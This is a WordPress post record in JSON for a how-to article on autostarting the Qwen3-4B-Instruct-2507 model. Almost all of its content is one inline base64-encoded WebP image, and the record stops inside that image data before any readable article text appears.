{"id":76222,"date":"2026-07-06T20:31:40","date_gmt":"2026-07-06T20:31:40","guid":{"rendered":"https:\/\/nkrumahlaw.com\/?p=76222"},"modified":"2026-07-06T20:31:40","modified_gmt":"2026-07-06T20:31:40","slug":"how-to-autostart-qwen3-4b-instruct-2507","status":"publish","type":"post","link":"https:\/\/nkrumahlaw.com\/index.php\/2026\/07\/06\/how-to-autostart-qwen3-4b-instruct-2507\/","title":{"rendered":"How to Autostart Qwen3-4B-Instruct-2507"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRr5IAABXRUJQVlA4ILJIAABwLAGdASr5AU8BPjEYikOiIaOiJpIKmHAGCU3S20e\/cBK7YA6p5MRWMfisKDAjiV8c+0P1\/5jf4v9xfm9477tPcX3\/9k\/ER\/O78\/lv91\/0fRT6I\/4n+T\/JH5g\/7T\/y\/5T3Vfnj\/a\/379\/\/oC\/WH\/Z\/4v\/BfsR8ZH7b+9r+9\/739hP8r8DP6D\/f\/\/H\/kP3\/+bH\/pfsN7yP8v\/wv2q\/yXyB\/2f+6\/9728fVE9A\/9y\/TU\/cT4X\/6j\/w\/20+Bn+df5b\/7\/6\/3APW8\/gH\/o6rflv6bfLX8f+Qn9n6b72Q+RLG\/8d4I\/y37kfk\/8fx58A78Z\/mn+H\/IH4C+0X4k+qmAn9M\/r3+G\/wX7hf3H5M6CGQJ\/e\/7N\/suUo9M9gf+Z\/2z\/pf332Tv+H\/Mf5391fe79S\/9v\/UfAp\/Lf65\/tP8P7Wns8\/dH2mf2iKMQANh9y\/kWyi3GOhrFbZY33rUen\/bx5st31xXd+9akTzy+Uiluk3fdqWSEMT8KWx+O8Oh2jCZdtjtc5xSKc\/hsl2u66ALWHboL+5gRXQJaBcPbhBhPb+hPcn9v47EwT\/iYfHJnrzCRG\/KPzp1hd3MI28vnG00gB1BnFk7GCL9SFa1Wj5c92occ0ToHtr4mFpN0BNCgOoxc+7ajV1XFAzzGL3LsjT2KDET1az988+mGgf1Z6zhONZ1oHp8\/HhrQObAnrl5wcSCjcDLxKdwPb6zHyKQz\/cS7uppZdB2a0lWa11xwXteWnlU86j48EfpXKVPtdlqi8U3QEygBLBUoUUbCXheTZv\/Nmtd68d8g7h4LLVYK\/HSJ+zpLBCLtAAEE0rfXAXqq7hCF75a+p7GzRaR4pJXmKcs3CgBvyqUt46D12PCxLgimq0DtUhCpuWhez926FsM0CucEGzjHM8pIXdkEzX5SyJmcbVUs\/V26mMUY6cdYTyX+3moGHC2J67juezmmf7XNp3GBB4RzeouG0w\/D5oLr8mSuRSrIShJ36g7w4OPTs4hU5qhLH8j9JxuZWhMOFoR3r4ShjVSugqG3WyQfBB8enJkd9zlPzrQHj5vAiFnqJzKpp2pwupxgimTfNpa+vzPKayuRh6N9436H3L382SrURu2D7p33\/cvuFTQtUkteGcaM7in5o9jpNXEgr+VlWx4KrScLictyAiTZJQ74Vn\/L5f1Wit+ZpxNddxstXyiFbfK9gi67IVZdH74EUuWKNVMo3Kz1XVJLqDOkZiGSXL11xXJVpAtxi0dO1m8chI\/6ZKqvyO954i2CRUWsa+mqd3z17QORMIje62Wa+\/+9xW8MEDAw+YyCr99KAvdVDjvwwrP0MHk68skH+MK3TjeVGUh4KCacVNTZihFQVLP2Yjbl5JlS9h9TNY02bbQdiwaBk\/fQtlTgjSFJ7uq\/CMAYNBQqQR1H8cesdZY+biw\/bQMgpiUCGy3xcvureXFT4VdyfvSz\/oZfKAdbKhhkCpSh6YRWr1roWfaibeYdnnWDPkuebKY7Bq1OheRz3qy1gBjYY9lll8lbc0RN5Suum1I7dXyUka80utReVG1yTmbnuOc9bPG0c+MZgcV0p15TWeMdFP04hsiQKKMffmsZCE0ulZGSdmki9OpgtZWhq9AI+e\/IfcXfjmPhuNGGyfUw\/dG1rtzEx2LgJcN\/joZsqa\/WEp9CYOYwYuAxj2TrV0HdvEBrGVycYB0+1+grmAgzh0BCG9CFpH2tnT5deeae8aBTor4h0HWq29abPjXtNJCPzd33o9vI4gcFw47TNdJehvyFBfbr\/WzMkHDEqXzVHbgNIcg\/9NkZMR8Z5DoYungQU2B3IWbLkzWjMO\/dHD+Uc+W9u\/dacZkSmap5yQotIVijHGVCHo86tu3FAedskOuUaMS\/VFcUmVceq14XTLmRvDP3retUu6gchH9kfm7ziuC0du83stlmiEqvH5srO3l+c+icxQywwjfmsVi5+aJd0qmqd++3eTLX1puc6eCJGPuiiyqflNExVH6AExdwEqAdWLJ4w+e+NwQv\/xXn4GxpHQyeSOjpdSYvg4+M5JD19tFv20LkRHpiUaLoE+fL6ORkAvvA4b9C2C1ZtzteZl2mtn+7aIIy26wjTxEjq1eI7EKtvWRkz5S1Ci11aITDNGULgGskd0Vu0BuZTbC0n61yRLR4nm\/PRTQKa9FGpl1ALyR1olQipqW8l3EU0UBrlKdRf5NtiJTYzzWUG5KgkBJO\/ei4HcqVTsUH2yGIDDiAB9oNfcddnBB4qqYExhLtl5lIDAc+yn7EY2TPkB19yYP0fLjVTQqiQjj21tqjy6+io4W0EdO+v6lx1Lv+4SoLNGOSGa5z+TPCj1dqGJA6IUdE9IF5r3XdIoWVirudrVWqs39UhlwX2I4UZn+676kcwFds99qTzbZEUX+OL0qqGWSqOTGffm4KvFcXk\/MHgFB2RTJuXfXZCcxbUsd8V+Uaf4HybDV6BqG2+Ubu18Dcmfi4vbb9pZPob6GGCvv5jXDZNqVX0ytuX87kgvRuhi7gKKfCD5XZ3ZV6r\/WIKgBxbsKvafF+JRjiHEBBVL9ED4s9k1dg02NcGQJQ7poJ1uBv2IEEk4KdIx7xFGSCyW7y9LbxhYtRzZYL3s953Iz3j1\/BbVYPH3g9R+FLJ3fa4ydzmU6R+ffSt6QZ6wQp9reWNNq4xFNEb25cGvc2ti04CggmMt3eXn0c2vRswN9rOTCDadHUIjxwpuFHXXjgKv0+pRt+vyyqz2YOoGW2LvgtsBeehG1q4pkb8UvYSYLjMr9B2N4LpMWFCqNNgopbKAB5yAcAAQfudg8JVVTnZlOSfLGvv2\/7kkyXmt8aggMqvJoStoIa4RpNqbE\/Z3pKuU445LdpfWFvlWKWWTljUswZYIClCrZ2dLr8scjBeg4KbI9DMwI+J0yH86ELw\/\/3nIAD5TFLj\/\/vvR\/xHZqBk2WfLx1MJpXLYJo7kOybQ6NSGdSqW6ZasT2EmCJZQunnBT7Rs3bpQw2EOOzjeT2NU\/xjrriBSQ9\/8nMZ6mlCv7b80P5EWxn8Hes0ITzZ5zIQMWF4L2KQapSWeIcvsfvekOfNDLausZG4KTNwc6M0RYufOjhd025Q3nAz5SLDzkaLZ0Z91HZ5pec\/yX2vPA+12l1YOJ046yf\/IFxZAxQNjTokvoTaBCpyh7TT9uuINZJd75amc0hgGDX5NN1fVgVH9JgjwHAxFCzxhPCun3pH3g6Fg42Ih3gZgkSUuOO6gA\/v+zSjQhq0y4PPEfDVOGNRX\/qkTeKZoCmwNa+RG4Zwz\/iNdif6bvTGbfKS5ZsrIsKjlBszWoRm0G86ppVZNpzdJVAzmTQL\/nN8X2F2bNQXzXxBCxWeyALLLw4+nuXLc66Elcu0a3TuDoEHb1MTBfnwr1u6hF\/yNCB2+9\/cRG1QOUZnQpbjamFHLSRE\/sL01nHvY+cUpDxL5Xoqq\/6FMHEL8pB9kO7Yh9mCHUML0083LTW8yZbXfXGZhYXPCCokN0lTRkrKrbEk9KioljER9P2iAMTjdTi2Qpocqrts1FNV07ay5mChau1aSDlLA61A6cuxOlxE5j3jnkU3N9vNcHtFUI9QdcZtuip2a5f4NTFVWH4xuv6ZVBGy4zndlq5bXWI+xd83318fhEvy7QOjApG9XB66jcmtSh+fYrPryVZjYePMd8iF0M8fAuCLKQXkrvKI2LiEPXPBCJg4tYi6Y5ETt0uJIKkUIhNTH8kQV3UBhy2gde\/bqF4+axqwULmIMLonEGhkMqmLJp5PfesyqMpf6Du4Ls2PUiC08\/MywGETruMzkBFCARQjUoupofe0JMQbGfd1Pw9cx3FHpgNVpSNxKElMtk5DhEPXMGIo1HzD620r+kvXeU07bj3VqzXA5hyp\/sC5z7YbeoYX+Kq5Pcphtbapa3t6naYVN6H\/9aduWNiCMD7f6aF\/8AeV9WlmfoEGXmS16oNcjtu8Y\/cc3gM9cjXqEUODhcHPcRrqZl74cWRzU\/sDRPLCDGIYmAj3OsAomD0dz\/2txLi9UGQm2aCWLqgqbAOKErj7fxDUJSCl7ygUogTyX2vYfLB9ZZh+sztxsqusE5ET4B\/CceVDsobRyCerST7nLlUrsh+ffoqpC26S4JU7owgB\/W3zAUpca4VH6P9BpgsAonyLEXVvtuKWsXTqmg8+SbnkbZkPnAGZ3SVMXXROyMbssh4AsrbNz36MUF0P+ovgpFzR8yHiN9Xlkk37Nm4WejdMnvs2yZ03\/0dixrYIfJmk6\/vbCIslbKPQn1x\/noxPgde2opWK6m\/WjVT4jkvPXI\/lnHhtKtL23uB8Bwc1NyuU9kDiv5US239BTJ1cznh5UdMBPcLzk\/3ZNeSV87X0dlIJ047IPi9lBratUGqa8j21ByokpNU7Vb6ln7jqxSEgFPExHy8WJsTZAfhPMjvgSvM3HFZVVkw51V89D2PIvSDai7xBR+1CVE\/e\/arTqim7jzo\/8H0AYNExb5TV1fFJiOfRFgTR+5e0n8sDaOBRx1es+dph3k3aHk1hA8wzZJs55k4svCwz\/QU\/qyg8Q3eijpIHy3ql+aGHRDYa+vAl4tS55e08bKKxzoyAceLS71MT14DOgh4QbPJt05VgId2iabY6dmHrepz3jqSKtZDLw2+siRRgoPEqX\/nV8e53iHhHDo8XWzAnod9RxyuDLma3LwDWVkUfuM\/vVuvnxoJNSk2JSsdnEUpkRl6nllRZovazYfiSptupIyXiFBm31QfxBJJcD8M4Il4DONl8waDD1GVciQfxN2USCvkmNrX6Wl6Fv5j0rSudEbJkBQkM9KfL3vPjN0WI6Bg9NBcUyjIuRXyF65vnAQxLKwP860iU1+Ot288Q3uCU5oAd+DydEKa6o9khtmLO\/3QXx8eDnc9VaTd6ol0ZXzXAWBIQ3ynUvhl5WbxSjS6CqiTn1eNwAnc+4JD87WfGE7NmuJriU6QS03kJdorYAgBZZB000AS2bc543cxges09juKIdtTNJ8mj53Oz8onMz6lYjpW56eIR0e1Tmp5QmnZmIfWCzi1NKQnRL1HXBrS1\/wkVoxANSBcOM+jzpKO2My5xv7mwjhmgogMHI\/rpD9r+z0hzuKwZyVuE\/Pd7NSg2dHgowfiaYpUovvduv1BDtfczHBRMJElS9uWnScnzYirSa9dJ6nuAqFN9mRu4Ex3EVrluqVrD6qLdqGmoskpY+dsWY6556aZU6KkSiti5gRzdRdrdJQQZ84dxR1m0vRL7AuQicEkoK+\/S2tsw9+qQI3XdU4FiWuAXleJa8VCo5pyfjQT0vFlOo8IXSuZhtfaOimZrJorI40foCizqdeuhZwvveioFwRyZAF2GqNFRuxNxdql1kW8XnAEJ8QCjzReJvv\/+qpQf7qGZXZGdgVs3fsGxnNX97PyD9iRXp0nEoU\/tZ+\/7Gli27KLJi9mwP+tWa83D4TGDEqgCJGc6yDEIHwciJu1GBTp\/A3CxhiuZBYwhBcrojsvRgrsogSGyhTmuRdGYwKiwTy6WZRYtrVn7O\/EZhXYIeVKAbC9RDmx+lim0xsQk2K+XwjFr1j2Qbn6AqebUz9i7xPQvwP6vgGVVRbAVoYXwVcC5TaIMt3nynTvsEEM2oL4MCjiyjvN88ivlogbEEZngEId7eXc1zFJqK9BMTZGVOw1pglPRh0cjo0oWzzuCtZQs8TGF9SGGQiaBqC7Y3fZL4iHM1CYAO11ktsLiQE53X6etalLb0o8k6Wb6IOkJEGgHjPjRzHel5EEuoYEXJfal8ZE8V5EuOTSAv\/oLJS4n7nAYw+3REemSjQTZ\/ZRVgEtIWq4yq+B5H2vAIXPDQthL0OBM6sZIQPKVHNS0qf3Sn6UNDQ5Ld1kLUCWu+KQsa6Ket+aptTZx3kGerrZdeq\/GJuplqrcPn\/cQmoCrTzmzcmSInDfE1Rtu0oPoAK1MG+L0mojgFhbvZXn1Y55sg+jA8h27bwt9B9CWg4DQcpyMPnslzNhaDRFONXF4lJ2vitSREnMjrziDc+Nw3XxZkkNjmo3YlsU951nRADNBUY9ZpUAkMpBvvP0yLof0GrZKBwrvDe6rx8LqAsVjlwCYkxrFaXUl61LynCv3gw27vKQGjDTfWY6dIpfPacQFPbbrz3LVi6Bl76uytxiYBClAeFojnEV62JCQ6KRYwY8XxMkT0pSr2Xsqc13FtiIJtGarTrMWlOb+rPkDtyzMBEmvU3Em2smi7tyzfCMxZE7G7MprihMfxLuxQTWxJe155ohV+y8SYtaB2ktUsUmXZCgLpTl0BkPkwEmt2b4JPTwp+5XwN8+tywUHkwFuvu7EfMNZW4TFNNd+U9NALaT9osxjLsxzi3kwjo\/F+aCwvaAumo8LLX9O42DWly4cTXjsxEcK8I+VUn03DB43tQq9h+TQZ6nUxc5MxCSJHfnpiF36V3GCM5zrFZqNv6pVsr2LqkeoQFi127rRz4CxkhzKTNKQJguqeQjvKCNohUbxRgCK18BI+Ofc3DvfFj\/7t5yvRiPW3pUqF0VAWDRtExDwkMn71eDxkeWx9oRLNA2FTQmiQWzxkNhZYQijJTE79zhQcmaXjjD8VMwhtW2nvEv8jE1tzpil0BG\/cK+nxOWlH5+b9MtO0lhuJsz6etvOGEQhw5tL5uGWJZrCng\/JdxwZe5AD9PVOh3Lai8GJm4widIWG\/XeBwR8KBdurYEdcEzbNmEB7dDzNPcDEcNaagQe9N7KwGq1hL2J6NG7LC\/SjnqnUy8XshXiRgSt6WZ7LERI9\/Ry99HW74QCUNuO3lHoLj0aLNVwdlFlpvMTnfXpdX0OMZBu0oCNCDJSH0zZZDlILIKe9CzOMX4XCCq\/bHsduLYyXTbVxwRRI71ZGkHmQhiRmZqvRVjr9idgpAskwWgXTOrZnwAzGdaV49CYHKpNJqczuywsn2thRtBp9zy1ar8462wd8GIaovtr2+S9jZ1PrPLLr7w5SOb8UesrDn6FpqaAIRi+kwNhKD+y9\/BZfJMMXvsGWdekMK7a0Tb90FA7n+z76egAIfzlTznOP5nu6p2tM2t8zviB712E2DzCM29voSrbYOrP03I3YCDWzBVy\/kuQuOpn2wvob4NO8Ojw9n7W34xX\/lgZrpqUCy4Ahd4M65a99f7ANEEtmO1\/8jt6O2oKPJFzssYedYS\/ySW4DKzXt5rJKr+XfhgA8GzARdxcdNdMlrJ\/5LOmeBw4JBGlhW0YU6P886TmVxnvkhUKXqb0xwirHd1cY\/hNVEVWocS++jardXybA30et4cKvYCNs5ch9fvmdZGJRKGVBthWtuh\/fDzIxRNY02KiC4+1n2wjDc9j2GOHV7fjfvL3Sx7nbjIPv7oLnDXBanQi3tgvpfPk5hnph34EarUhRHLc6dzaa6fpzS16gXNpNSjpRkCU3AZjEpxHNi+P+GpDjpe5N0G\/HQ+xFVa9jGpwVge15Cul5dq1wy96C4nl4qdyY9HZLiZ4fUm\/n4kevUfb7k96O1O\/YvBk2yfFBXFKgO81nAt2oZnj1FanYVRlT4zJ+LROzqj70qONwaA+K0T0Zj3SDO+LIBcBEJGsmYTEscqG8RYqdTl8kkr+FI5xUmD2K2ky2n7sxxU\/DtxEMzVgBqWhFfLzbWBde2PctP6L2w1UikeDoxjxdDs6h\/dIJfsRUOOpuQRThJoRlPozEQY+hu+hrc5f\/wQL4+Eslj3\/1aDB7dlVuDCg3IjB5sYqKgcXMI0kC4MqTFfd5mW9128OaHuKhnVk9xs8FpVeBQNb9wgFtPDYS+rcF1yrUBnWsLEXL3MX6PSxPjn7c5e92iclW6nfRFyPGbJiGMEl0MbRfxXX0BVTxELxtV0egK\/X5N0aK2YVOFOaaopoPQlKMzC\/K9T2KHnnZ1y1lqlxwwLLVSpfPjpETewgJodAougP54OnNbgVMZWfIJ\/wbt9ll\/cg69ep4ZmTqDf0nsgfpHBLK8Raqkr0IPdKMg3PxvQq865y6eceipp96fGG9nPK2HQ3QFq3YqfDEPd\/VXb\/FAUvCuMZAAzHbXTVDH8Y+QbCit1SYuo1YyilyGD9J1P99lFOqRm8B0Cf9SRp4VGkTXaYWNp8S2hQWnU6XHtqEbFhNGgDBtS9spaPqWtQkQQwIORNdONgYryuGwmAziKXSMgNXg5zxkCrCQS6qAUhFX9D65xM1IwSJ0RH5jDkvAeCAwgtZT\/LxqxOVlJcezbdLh6ZDCAaEZoBbbfI8NgTLPyZRQpI33+FIdZZF5U3ZVX76D9l5yA2KdUaj3zHdzhsKrxauiSABljDDV0TNwuWVjEK9ic0UHwRqbEglxqrgt2e1Qc9IuIg4sBuOPqshRXf5F9JSVpGHxKpbn9LGHbVOon5lz7SjaDmP8\/VMdcbc10HN0mkRMbyGlZyVZ3xglVBJ4mkyCJNgu2qqN6gugY8ediseQ1\/s+xPGLWIWOmf7pnDYw6snmKwJ3HRZM7ZXDOOhXVDt+8HMipAGdvdkBAq32htVvdQw5btoDDq4TpCCQW0o86+3X+FtsuW8KQ\/YuJ\/PnNz9QI\/\/lHYhuCI2tP7SNqK1H3n3Ltixceq6nH2713Vwf8gfRqmYWRLwyFrnwUjxa12MNBVRasqm167pWw6an\/IhJPArAyTdYIBPUla4ang9hvu4t2vuikPzi9xJ6ikUK7GkSrfXhPpWPxge6gxsIlVlK5lXPaJNyNP0xa+koyEfnuil29vp\/kKGgavbfDfQf9xBUp9OzVMGvnU4uwi2itlHbp0B2T0P4RPRPkzBCCLvsena4vd7gGlG+ljeTdiMg3ZQXjkiAQ\/tIPO8mdAo4mzYQcKfk3YXIpe4bnsjq28ngq9lLR0fzC8hPbfchg1ppC7wklXJnzUrFevzuZ2nUZATI+fsYlydmlcIdBtSpJnBFxbxrMRt2nFroOPVYi1kjJAHllSMbyh\/Q0NMjleA4n1E4MrDW9LxO90o4aRheeqG\/ql5yacUb4Ii+NxwzGfqNxTzKIlA7t\/B+JR\/4FSJB5xYkqGAmx0V0r2sq0fSoHb2njIu9lvdZohBslX\/5KoAjhi2IW1hs7zN2ieB\/YYahSuP0OLbbef6Nirx4GrkbPmKjAL9eIzNSNTzLctBC\/1tUdCl7r9b4VwpymMEqUTj+Z3jly\/r2+3GnkUni39TxM+YasCnTATR7inPjhYBOfnHl4TxDsfMAf4eIIlQG2hqCtmeU2Z7VrGO4i7pwJCI71MGZBJVt6uFL9QJP18P0m2NNeWYjVmkzP11I20N5KhOY5lnSSyd6Q9BuzetRAHewB72sKWL8bX3RhPe22k9W4gUDM+pnhLQNtI6oCQ6yAhIIHhlbPSAHs4vSZEuMkTsYjmh1Efw4mrqMqOhdVfctreK0gdCw8XqmHNHg+LXMPO5GIlWda\/wtPEeyFueY\/L1HbgPu47er\/iPkA1fx+EZyhy5I5cge\/2K8hb9uYM6\/fFrO+MT3SKOfl6VNmZFGthOdHn5+mx8yQSpJWCBsz19EOgSw1XOE44zHivtPDBSe9JQplmSPFgHpLyo2VWQawJL\/RjjsfzwAKPe4l9CRrLgzsKaRuDE6xx7IaE3\/Cl3kgAadOdo1BWylE5A3moJZh2dig4bA8yEO+UYJ4rx6IPU\/cGJnFJ54hE2F7P0t1r8MWEs+VcpZgpiwTgqb5prT\/m7p\/Q42Wafr6CxSfbJjjWZ0hIVhN3t8F9ZuZ74B3s\/hRNwY6aFWwziq2bh93CeC7HXRdqiQ8Oqs4ZiiUD9n+Y1MvH68KT9bnyKFp7WC8hgSyse6uSD49XUZx19Je6qJO0KGZKiahgWbqEtWEyBZUSCuB3ffy9Zt88OWCIRTsfEtuF8bJV4l68YA8Wgpw4DlwJ2gTPJdfKLdPIvFSRhTK0NWcdzen1tBEQ0rqrIQYZV6RPLcEO4mq5K1tsS4Sgtk+pAPOf\/8cjr8uqJoVwwZTRlcoIIg1hcNAmiiA0ppG0j73GO+qqOYpavx98jPOeyo2FTRlWdmC5Dus5PYGbWj5nAiN2tTPylR+RDYdQn5Zl3kMNGTJVuL2xMkGLborz8ZVNWybHP\/nd69bGukmmobhir9jwIVtbIsmlGAWHI04yHOp+WFSUxnNqnDBJ8b\/2hHF9tusBRHGFG4OSt+f\/VQFuj\/oy5QMX7ut5F+\/WzSNjzjxXY0c1KWnBdRTDIGku46mqDQ5\/oOV6W7vu2A\/XegJD5pxC1fDxAh0EPu8rcfXNjKfZ5Z43AqBgnT3GTK1HmOZw6MxfzwSo+RVNudxX9Qnae\/2494wtLNDQdhMzPhWNHN8BA7LhOXdC\/gSjIRe25zQhxmA\/vDwo7UQmW7ljSKztFxl2VE56H0niL\/R8iFUw6SPXe24j9rGAtVwczrTNkHCRz3js1k9ur04m5YiCOjDAkHxxKod5\/R\/1\/ii3Ou010nQ3bYhbHBZ5W1LqCs6qNZf+\/x0QABLYnGph0e37s67S\/VCJU9HpnHF3xMDm7VHcorQ9PlD\/8naHqTrScXfZcX8CdQIUaxRoN8dB7XocBTYnGLIZzRJJLifiZRED9IbS7MRU96sMRp9lmz1CQuQvZWU5rtyR8TaGqbMcTAhkXh3MSxc0jVO52nrqq2XA0v\/ERgxjBF3pU7ifua63Gjp9uZmXixnA+bdlijyQqJV+iwu+3IzCt5k8XkwxPRRZ\/3BAJhdp2DotDZ80BZooeUac5PYgmTVsLV0NS1xjsUDG0syL8SZB\/KZxSDYs3f11iAsexM2EwEjBON\/1K\/7xJ8HNDtxrA2a\/i8NGjyF3\/+F8x8EEzdq8EI4wtP2ZGn5LPchtpM3xulQFbnVuxkbmWkqppIOUkrkhxoLr4gW0kY7McWw+uUDfbUEJdYCTs4qCpfddtORQdPR92LvzmMLm3GO\/oF\/2UpnZKrKmgRbr7T162Tf4T6gr1T2Ofw5iUeFTMxG1uKGoZc4NA0EGEhw+NxzuQHHDJ5BMj\/uFM\/Bmq47Wg5N\/JAd16\/10Y\/+WnGdrc2Zjc61lyXpP\/cMhxftJ3gVJsTA2QIqhfYDfaZJa+GSxOx9N59DfbQz1plEG3NOQ44I82fMmS6vrDFRSEfYruydmXKEGbQF1QQyFj7UoKkdru0L+niSjC9BDdDn\/4svzaHxc9oXNWTw2fgD425tEUloq34\/sUdRCIy731i6bbzDeColhgIsJp\/ibcMuHaVHYEqTMFsE1w8RwQpWAIyQrn7OynUfV6NGTACMa3dil3yUKKugNRL0tizAEQlqq6OexndA8zRza9cNR2l9nB2lDeSeGMVbK3591C+HRe9SoT0\/hRkboqyAs22Z+L6b8TBiaakz0K+W3e\/PmdforFo2yLSV4wlz4+8h5NfVORQhJSLYnApT7yuqYaHGt75oo4RWhHt97vPLPZ9GNUoqe00aY5MJYxS\/Zp01+pOld1fcZhVToeyRVAQ9tXsAAlZzkq51qyGaWDq1fuxxGWU6nqyFkhq2GHRvIUIaKs2wo+fzCrpdQtqctAo6z+u++fba4iFerQlseuDFV+UnloSBMbkYqVPmZ+OIcMAjuiUytxKTgXuU0fwXu5bvD\/1NW9vWemtJ3N\/ynFt\/UdkNc2TEj8D\/Ls07RJx\/+cMkYnvNSqEIo8BknvP4+g\/UckjQWFF5TY3GWgvat4jDTevPtVeEFCV+Ipyc4\/uzhcFVfkV7lxtVAerAoSDT1Rt4Pgu5ZC89t3Zwxm7jMqJuOdyA44ZOFXayz6XFsvVZqQLSDTNKxyZnX05+RWSmzDSRJxgfdKr0yuXpZ9fq08paR1mSiG87oG9xcdSeB0b31jzKMVGDH46SUPS6ODmTo5vyP6zU34scm88VeuWhqEI5HrsBh6lAXICW69G7Myn+zkydaC8TWVw4BjtFpn9RGk\/duPJ5NDuHLKABFhoHw+Nb8gnRQIqrldvDT4TCz9ls0XV0Au6n9XwJx\/NMItFc8oGP84WOTsPwDPa\/ZCBRhAsWoMmItZlDRG0RHq1ewavuJFZaQfAPmWH5Wvl3iddiNCkm7Mu4bswsoZHDyxmeGZ9i9Ivhf0Dowsr0+eZiqbha2j34QtT4UGQDsqYJnFHbHtlTdDECUXe2+m525u3NldAKyRPtS0xy6R+3O6zmI3pFm3jCAlnBTzCqP9p0Lt5\/sgraD3dmTLTXDpsDxEt6\/7Rt0sCMxRWs1R6mTWNOFaB+8UzLw69evrfHnVic6+nWAF0XtUOvGecRPmok1YuKbaJ4c9IZRd3YW9WLKclgR1mFQDkYhRSw7x4ukK1\/1JQXL1PGGPbMGt3+xd0gYL2xvZuY3IvRvaFDkU5aN\/42BFbmDCdWdFneAIto6d7VtPRSQajVqf\/0dj0IVihgVOB8NhMqu3jxlLFa\/BlkTDHjnGfZCVZ+cT6awR860M81WZcVl\/MLW2ph\/sqXTEWl\/VrGs0Q19j5LmWox8fKcA9PrS8UtsX81hjfBRNdyxekcdg+G9nMLOxFkCAViwC+zW+hkP22ZOxzUhn0BnvpG216k7s7tdALupAgMFic8hBzOTd0n2eeSRolbLuIunK596UKHlib68OCOZake1HWyRG4mgchiSz4Ozb1s\/G\/bgvcExSCM3KAjJfMhBlISB++WAX0q9TQ5KhfaEyTu5CPr+yasx3Kz\/h9W6SACM4pK\/NYU2\/4uATcYxGBrZ\/JeZ3VsjmEc90ryoffn5hi4HPennX1HH7W39XGmguCwJDWFMZRb5\/+lne5YlSoQQrvGuxen9aUEqWzO+QSNKXR8CAaLN\/Ud0BP+65q+TjkY8052po59D+VP33ol9hFmW6Ed6Hw5mrFISScSavKexeQUmg+dOce2+fFpt9+tmVVlBZ4vIM+QIZvLxERsW4ONBSEtRx\/cT0ep5mORgkLf\/8GPYwiLc+VQZu66yhcIgpgAELpJNYUZmYrLaFI3x2rjL\/9GoF0MLskduFC0vvcQNN7bO\/ju5tuHA6WwTuRgXZoNt6PQ8tflkgx2a5Q5KJdZb\/QUxI9tJzrouajHpnIMPOm5hi1dH95kBgQt2aieMe+gIPUWhTArnr3j57RMolyjWJNgZr7aykr2C4WBSGkjXVYW6IAhpQ28F0PuMLzTKWpEtBQ\/O\/LSGkJF9xzXIKeZVVbhmtuK1XaYNTFPPNjHjjXXUMVT0\/XEJ4S6Zy\/WRNzdqe3Aw46DMPL9l8Wrnz2\/9b7MkSYllAaAzjT4j4JvzCkEdU65HM7ThRNK8rT693SjXe\/PnOAO7aMq3LbHYlfcQALTK+X8IBxnItdr29IJ9hdREvNPFmaPVJH8RaSqR\/jxzRPoe4FSIY1KGFJ2MV6IrBOHPgwr2NUaEEhaS\/hEicHf\/Fwif6ogbTAWylOdPB5M891WzNbIu+1P+5oW0gPEo+0irLTeWzC9dZ28ol+UwGYU6bW0I5qJC4vTNNVCDlMr7W\/p\/baqh82x6A38CbmPARRDTonz\/Ik0+KHoKIBOJDBfK306or+yzso0tbigr2dY0ldNYY1srZ604+cY3Tw4mzrk+q+uSKxPX+\/5DCldHxm3FF3E5U3P4ZbXxjRNznO6gjxbp0ITsOr+apR9PC3qaa25Y79psd62lQvd9AgnOGFtil85Qi56d6He22ngGzCDefjmML6NIcBjCU1wUpF6ejJMwJwe24MZJ9hve2SXx8cmznjUj\/sx75vBYlK6Q97kfF7qeuoivgDnk3QuKc2Epn0JUxDFt7JWX0LI9ZUZGTphfUl0Uirs8\/rRtKvTI0FXjH13AvslXOSkINvXz\/5xRdvWwT7iC1\/xk6GL1wrNm0DIhm6U6W8u6Dv7lW5gV\/EQlLeipmTN3xvNdNmUz7OCMZQ7G+PY8YFpJRXMoB2+qq8nx785Binx1+eO7tvHte3RJcMccJOF5sr5CHu\/qQ3LMUCdSaiDz\/jGLzB\/RYyJO7XRsrvoG3hoQL7LvNTA0d2\/KiLHfEbGjwNJpna90Nbkb8zIAuoZiaPQCYUxAaZDdGI\/UXKSNwNkBVKB4bkIc7ktFhUcjcz4ahz194wM1VvY\/lzO1Z7WDS4VCUbwcxmkJ6mMbGEU0r96TxJoG2MLPziD\/Mk47fhOP5HOYlhxWSzpegGZkFTzwd9yVonfZqLMkTv1wbjiNfYUTmV4sTKDw7Dpl09ActR9iiOIo+XyKt52Ak9+r6W4se7+LBr9rtRXt82Yj3moCJIRxmdHch4Qxs65ca1cL\/ERJAFIHN6SFZLWovpKUD9mieYatqgfzksLIhSYEyPS6xRoDsS2I293u0c9iZe+vFwEKdsfcrpZFJIbwGYkfrOvu5sYoTQ4YN7+tMq7bSrAWxJhCcI0U6i8XkRTEROfO78KDYncoulUJmeFAnwkUzXhFe\/nuzyoN1JZZ2XzcCdakUUl96gVO70drzrCX+TMGN7f+AspxRAoqCJibf8kBTfuQCvcRofghBvkMYX59pXFVM2j3FKMr8OBcxdFfbnaeziDOmP4LjasdjyUJR1VW2W4klj1imStMHIxLpm2FW5jcgM58FJtxlEjhr6+DCn+k\/qG8ZfCjzfJNbVBGV8FJd2S2BdkRKo6SVrno5QBBOwHbcd5p\/h9Esy5D\/DDQQ33jd1\/5\/zO1i+S4CVzauCq48rKQv3XJe2lsJjE+RwLwCg5Aj6MIuE7afkWme6AkShj0qdpKGqbs83mmkHyW42NjYZjUphHp2VHZPF3V4QqnwgLSAL4uiPiOrJlFl6BG92xuxXEfGQjX7GR3PZyKLQ2eEEGJghT1tcZUakzB0ukApmchwCcnUAOiA2Cv\/\/1CTa8om3DhmfolQS+7iZiSHoorYjbGX5\/rSpY0fZ\/dQVKcUIUS\/\/hMr8rCZWA6Og0KZSu4TDb0929pv7YsrnoRdKNCanl3HKaeS4r7hg7wIA7qT0hAvchpIkwiyDY2e6o1yvkUbnzEymwN5KuOs3pdjp14zXA0W6U4Ioynb1H6Tq56LbElGtE8JoKn7qdLnfURmRw5rJ4rlGMLVQeaqOfg6TS3UpZi8+pbUz9UyWAUytl1NYcYSO8+gLpvAFHUVYrhF6Ftwl9ndRwslaUi94v6t3dMIK3kmRvBawWuAbFujgarFFPbVKBQBsZG9InRalidGdPa23h2e00IzUqNrS3ASBuPrkBWEOvrMF+LCyN\/Blmz5BJBVu6Co2tALxrC6aMbZYM7c0DEzkXG+NU35S5tIO2q7FWE+1dm9ZRDgt670V7c0rIPuT0VhK82LdamwgaYmW25rcCnjOaWKyofzqLtyZdij